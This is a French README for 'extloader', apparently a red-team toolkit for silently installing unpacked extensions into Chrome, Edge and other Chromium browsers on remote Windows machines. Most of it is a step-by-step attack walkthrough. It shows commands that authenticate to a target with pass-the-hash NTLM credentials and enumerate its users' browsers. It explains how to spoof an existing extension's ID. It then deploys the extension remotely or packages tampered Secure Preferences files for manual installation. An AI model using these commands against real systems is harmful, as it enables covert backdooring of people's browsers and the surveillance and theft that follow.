
Un kit d'exploitation d'extensions Chromium
Une petite boîte à outils pour gérer et déployer des extensions Chromium non empaquetées.
En savoir plus dans l'article de blog suivant : https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways
pipx install .
extloader --help
Utilisez
pipxpour une installation isolée ciblant Python 3.10+.
uv venv
source .venv/bin/activate
uv pip install -e .
-p/--password-H/--hash-d/--domain (par défaut WORKGROUP)-t, --target : IP/nom d'hôte cible-u, --username : Nom d'utilisateur-i, --index : Index de l'utilisateur issu de la commande check--debug : Activer les journaux de débogageVoici un exemple pas à pas de déploiement d'une extension :
# This will list available users and browsers
extloader check -t 192.168.1.100 -u admin -H aad3b435b51404eeaad3b435b51404ee:ntlm_hash -d corp.local
┏━━━━━━━━┳━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Index ┃ Browser ┃ User (SID) ┃
┡━━━━━━━━╇━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ 1 │ Chrome │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
│ 2 │ Microsoft Edge │ john.doe (S-1-5-21-4196007090-2879228606-3183820935-1122) │
└────────┴─────────────────┴──────────────────────────────────────────────────────────────┘
Lorsque vous exécutez l'exploit sur une autre machine, exécutez toujours la commande
checkau préalable pour actualiser le contexte (available_targets.json).
# Create a deterministic crx_id by adding a key to the manifest.json
extloader sign --extension ./my-extension
Pour usurper l'ID d'une extension existante, ignorez la commande ci-dessus et définissez la clé
keydu manifeste sur la clé publique base64 de l'extension que vous imitez. Réutiliser cette clé conserve l'ID CRX inchangé.
# Deploy to user index 1 (Chrome of john.doe)
extloader exploit -t 192.168.1.100 -u admin -H ntlm_hash -i 1 --extension ./my-extension
4.(Alternative) Empaquetez pour un déploiement manuel :
# Bundle the signed extension with the captured Preferences file
extloader package --prefs-file "Preferences" --extension-dir ./my-extension --target-dir "C:\\Users\\Public"
# This creates a ZIP containing:
# - Signed extension files
# - Updated preferences files
# - Deployment instructions
--prefs-fileattend les préférences du profil du navigateur que vous avez sauvegardées (Chrome/Edge les stockent sousSecure Preferences, les autres navigateurs Chromium utilisentPreferences). Le loader le copie, le modifie, et inclut à la fois les versions modifiée et non modifiée dans le package.
├── extension/
│ └── chrome-mv3/
├── preferences/
│ ├── brave/
│ ├── chrome/
│ ├── chromium/
[...]
└── info.json
# Restore original preferences for user index 1 (need check command to get the correct context)
extloader restore -t 192.168.1.100 -u admin -H ntlm_hash -i 1 -f ./backup_preferences
package pour Linuxpackage pour macOS